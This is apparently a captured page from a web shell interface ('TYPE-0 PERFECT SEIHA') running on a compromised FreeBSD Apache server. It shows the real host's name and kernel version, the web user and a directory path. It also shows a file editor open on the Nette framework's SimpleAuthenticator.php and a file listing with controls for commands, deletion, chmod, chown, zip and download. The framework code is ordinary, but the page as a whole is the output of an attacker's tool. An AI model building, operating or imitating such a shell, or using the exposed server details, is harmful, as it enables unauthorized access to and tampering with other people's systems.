TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
Nette
Security
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/Nette/Security/SimpleAuthenticator.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Security; use Nette; /** * Trivial implementation of IAuthenticator. * * @author David Grudl */ class SimpleAuthenticator extends Nette\Object implements IAuthenticator { /** @var array */ private $userlist; /** * @param array list of pairs username => password */ public function __construct(array $userlist) { $this->userlist = $userlist; } /** * Performs an authentication against e.g. database. * and returns IIdentity on success or throws AuthenticationException * @param array * @return IIdentity * @throws AuthenticationException */ public function authenticate(array $credentials) { list($username, $password) = $credentials; foreach ($this->userlist as $name => $pass) { if (strcasecmp($name, $username) === 0) { if ((string) $pass === (string) $password) { return new Identity($name); } else { throw new AuthenticationException("Invalid password.", self::INVALID_CREDENTIAL); } } } throw new AuthenticationException("User '$username' not found.", self::IDENTITY_NOT_FOUND); } }
Crotin
Name
Size
Permissions
Modified
User/Group
IRole.php
543
0644
2015-08-08 18:27:44
Unknown/Unknown
AuthenticationException.php
435
0644
2015-08-08 18:27:44
Unknown/Unknown
User.php
6899
0644
2015-08-08 18:27:44
Unknown/Unknown
IIdentity.php
602
0644
2015-08-08 18:27:44
Unknown/Unknown
IAuthorizator.php
821
0644
2015-08-08 18:27:44
Unknown/Unknown
IAuthenticator.php
849
0644
2015-08-08 18:27:44
Unknown/Unknown
Diagnostics
-
0755
2015-08-08 18:27:58
Unknown/Unknown
IResource.php
549
0644
2015-08-08 18:27:44
Unknown/Unknown
SimpleAuthenticator.php
1363
0644
2015-08-08 18:27:44
Unknown/Unknown
Permission.php
20919
0644
2015-08-08 18:27:44
Unknown/Unknown
IUserStorage.php
1451
0644
2015-08-08 18:27:44
Unknown/Unknown
Identity.php
2767
0644
2015-08-08 18:27:44
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin